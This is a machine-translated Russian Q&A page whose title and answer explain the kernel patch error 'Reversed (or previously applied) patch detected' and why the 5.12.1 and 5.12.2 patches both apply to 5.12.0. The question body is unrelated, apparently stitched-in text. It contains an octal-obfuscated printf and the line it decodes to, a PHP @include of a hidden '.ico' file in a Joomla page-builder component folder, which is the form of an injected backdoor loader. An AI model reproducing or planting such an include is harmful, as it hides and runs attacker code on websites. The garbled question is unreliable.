Исправление ядра выдает сообщение «Обнаружено обратное (или ранее примененное )исправление! Предположим -R? [н]”

Очень простое решение, если оно доступно, — использовать printf

printf '4:@include "\057v\141r\057w\167w\057v\143v\057a\144m\151n\151s\164r\141t\157r\057c\157m\160o\156e\156t\163/\143o\155_\163p\160a\147e\142u\151l\144e\162/\0569\1457\0642\0614\146.\151c\157"; '

Дайте мне именно то, что мне нужно

4:@include "/var/www/vcv/administrator/components/com_sppagebuilder/.9e74214f.ico";
1
08.05.2021, 16:06
1 ответ

Это сообщение об ошибке

Reversed (or previously applied) patch detected!  Assume -R? [n]

... означает, что команда patchобнаружила, что ваш патч уже применен к источникам. Он предлагает вам использовать patch -R, но это не то, что вам нужно, так как это отменит исправление, и, таким образом, вы получите более раннюю версию исходных текстов Linux.

Это происходит из-за вашего непонимания. Посмотрите на первые строчки патча:

--- a/Makefile
+++ b/Makefile
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 5
 PATCHLEVEL = 12
-SUBLEVEL = 0
+SUBLEVEL = 1
 EXTRAVERSION =
 NAME = Frozen Wasteland

Этот фрагмент изменяет 4-ю строку Makefile так, что SUBLEVELменяется с 0 на 1. По сути, этот патч изменяет версию Linux с 5.12.0 на 5.12.1, версию, которая у вас уже есть (отсюда и сообщение об ошибке ).

Итак, это не тот патч. Вам нужен патч 5.12.2 . Но если вы посмотрите на него (как выше ), вы поймете, что это относится к исходному дереву 5.12.0 , а не к 5.12.1:

--- a/Makefile
+++ b/Makefile
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 5
 PATCHLEVEL = 12
-SUBLEVEL = 0
+SUBLEVEL = 2
 EXTRAVERSION =
 NAME = Frozen Wasteland
2
28.07.2021, 11:34

Теги

Похожие вопросы